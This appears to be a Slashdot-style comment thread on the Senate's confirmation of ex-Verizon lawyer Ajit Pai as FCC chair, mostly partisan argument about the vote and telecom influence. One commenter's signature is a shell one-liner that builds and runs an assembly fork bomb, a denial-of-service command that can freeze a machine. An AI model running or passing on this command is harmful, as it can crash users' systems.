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Ex-Verizon Lawyer Ajit Pai Confirmed To Second Term As FCC Chair (fastcompany.com)
Congress late Monday approved Ajit Pai for a second term as chair of the Federal Communications Commission, Fast Company reports. "The Senate voted 52-41 (with almost all 'yea' votes coming from Republicans) to give Pai a new five-year term retroactive to July 1, 2017. Without the confirmation, Pai would have had to give up the chair at the end of 2017."
"I am deeply grateful to the U.S. Senate for confirming my nomination to serve a second term at the FCC and to President Trump for submitting that nomination to the Senate," Pai said in a statement. Pai served as Associate General Counsel at Verizon Communications Inc. in February 2001, where he handled competition matters, regulatory issues, and counseling of business units on broadband initiatives.
"I am deeply grateful to the U.S. Senate for confirming my nomination to serve a second term at the FCC and to President Trump for submitting that nomination to the Senate," Pai said in a statement. Pai served as Associate General Counsel at Verizon Communications Inc. in February 2001, where he handled competition matters, regulatory issues, and counseling of business units on broadband initiatives.
This country is well and truly fucked.
All hail the mighty corporate overlords. Bow before your nobility peasants! Scrape and bow before your betters, and pray they are generous enough to leave you what little pittance you deserve.
How much can states override the FCC's proclamations? While the Constitution gives the Federal Gov't control over most "interstate commerce", within a state, in theory the state should have a lot of control in terms of privacy, throttling, anti-trust, etc.
Let the red states have choice-free oligopolies that overlord their content and privacy; the fools deserve it.
Table-ized A.I.
follow the money, bribery is legal in DC (although not always transparent)
Table-ized A.I.
where did you look? It was almost all Republicans. It even says it right there in the summary.
"almost all" the 52 votes in the affirmative came from republicans means that at least one vote came from non-republican members.. so who the fuck were they?
According to https://www.senate.gov/legisla..., it was Joe Manchin (D-WV), Claire McCaskill (D-MO), Gary Peters (D-MI), and Jon Tester (D-MT).
https://www.senate.gov/legisla...
McCaskill (D-MO), Yea
Manchin (D-WV), Yea
Peters (D-MI), Yea
Tester (D-MT), Yea
So called "moderate Democrats".
Two of whom are a part of something called "The ModSquad", one is "ranked exactly 50th on its scale of the 100 senators, from most-liberal to most-conservative" and one is just a tad more to the left of her.
Mit der Dummheit kämpfen Götter selbst vergebens
We are going to be spending year rebuilding and improving our democracy and civil society. By analogy, no matter how much you weed, they keep coming back. So now we go back, elect civil folks and make it better.
Get mad. Don't get mad. Get motivated, be depressed. It doesn't matter. We must do the work. We just have to go out and select some sane and civil folks for office and stay involved so that things don't drift off course again. NO magic - just dedicated work. A careful dedication to have sane conversations with other people of good will even if we disagree with their political views will do more than anything else. Now is the time to look to the center and demand the best of everyone by marginalizing those divisive brutes who would destroy our democracy. Pay careful attention to those you agree with politically and if those people are acting divisive then you have a particular responsibility to call on your friends to speaking with a civil tong.
You forgot Tom Carper and Chris Coons, both from Delaware.
According to that list, they both voted Nay. Do you have evidence to support otherwise?
Dem's from flyover states are no better than R's.
they're just as dumb and out of touch. no surprise here.
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"It is now safe to switch off your computer."
The only ones who do are the robber-barons.
They are small in number, but rich in money, power, and resources.
What are you confused about? You clearly and correctly stated the reason things are getting more insane every day.
Well, we could have a share of ownership.
I structured the Universal Benefit in my Universal Social Security framework as a dividend from the economy: every adult holds one equal share in the United States economy, and receives an equal proportion of the Universal Benefit’s tax rate—which I’ve proposed at 15%.
Although the taxes are higher than I'd hoped. I've got plans for that, too:
Minimum Rate — The rate resulting in a benefit half-way between the CPI-adjusted cost-of-living increase, and no lower than 10%; [...]
[...]If the Minimum Rate is above the current Universal Benefit tax rate, then the Social Security Administration must not adjust the Universal Benefit tax rate.[...]
[...]The Social Security Administration may, at its discretion, reduce the Universal Benefit tax rate by any rate between the Mandatory Minimum Adjustment and that which achieves the Minimum Rate. For example: if the Minimum Rate 14.9% coming from 15%, then the Social Security Administration may set any rate between 14.975% and 14.9%.
That will eventually lower the tax rate (at every tax bracket and on businesses) by 5%, and it will guarantee at least half of the productivity growth distributed without adjustment in any given year is distributed after adjustment. I need to stipulate that the COLA figure is continuous across years without adjustment: if the economy is down and COLA is higher than the benefit, then the next year's COLA is based on the current year's COLA figure and not on the current year's actual benefit. We rebase to the actual benefit when the economy catches back up--when the benefit exceeds the cumulative COLA.
The whole idea is to make sure no reduction in tax rate results in a reduction in buying power of the benefit year to year--the buying power must always grow. Americans deserve a fair share of productivity gains; after all, we gain productivity by laying people off, and don't we owe you compensation for the risk?
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I think it's absolutely relevant to show that Ajit has long been in the pocket of big telecom. Since when has Net Neutrality become Apple astroturfing? What are you smoking, and can I have some?
Your time at Verizon is over. Now you must choose between nice clean job at non profit or designated shitting lobby.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
All the previous FCC chairman have worked for ISP and telcos. There is nothing special or new about this guy.
Also I think it's relevant to show that Beauhd is in the pocket of Apple and only started posting about Net Neutrality since Apple came out against it, so what's the problem?
lucm, indeed.